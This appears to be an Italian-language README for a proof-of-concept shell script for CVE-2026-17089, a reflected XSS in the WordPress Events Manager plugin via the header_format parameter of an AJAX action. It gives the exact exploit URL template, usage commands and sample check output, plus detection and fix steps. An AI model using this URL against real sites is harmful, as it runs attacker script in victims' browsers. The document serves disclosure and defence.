Shell PoC per CVE-2026-17089, un XSS riflesso non autenticato nel plugin WordPress Events Manager (<= 7.4.0.1); identifica il plugin e verifica la riflessione di header_format.
<= 7.4.0.1 — XSS riflesso non autenticato (header_format)Autore: pwnVader · Licenza: MIT (radice del repository)
| Componente | Events Manager – Calendar, Bookings, Tickets, and more! (plugin WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting riflesso |
| Affetto | <= 7.4.0.1 |
| Corretto | release successiva 7.4.x (wp_kses_post() applicato in EM_Events::output_grouped()) |
| CVE | CVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Il punto di ingresso dello shortcode sanifica header_format con wp_kses(), ma l'azione AJAX
non autenticata search_events_grouped aggira tale sanificazione ed emette il valore nella
risposta HTML (EM_Events::output_grouped()). Un attaccante remoto non autenticato può creare un URL
che esegue JavaScript arbitrario nell'origine del sito interessato per qualsiasi utente che lo apra
(UI:R).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com
# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"
check)== CVE-2026-17089 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Events Manager assets are served (plugin installed)
[info] Stable tag: 7.1.7
[PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)
[2] Unauthenticated reflection test (read-only, benign marker)
[PASS] endpoint reflected header_format UNESCAPED (the raw is in the response)
== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).
https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>
readme.txt (Stable tag) e/o il percorso dell'asset del plugin
/wp-content/plugins/events-manager/includes/js/events-manager.js.admin-ajax.php?action=search_events_grouped con header_format impostato al marker e verificare
se il markup grezzo viene riflesso non escapato nel corpo della risposta.wp_kses_post() a
header_format all'interno della funzione di rendering, coprendo ogni chiamante).search_events_grouped o filtrare
header_format a livello di WAF/applicazione.Solo per test di sicurezza autorizzati. Il PoC è in sola lettura (check) o stampa un URL (url);
nessun dato viene modificato.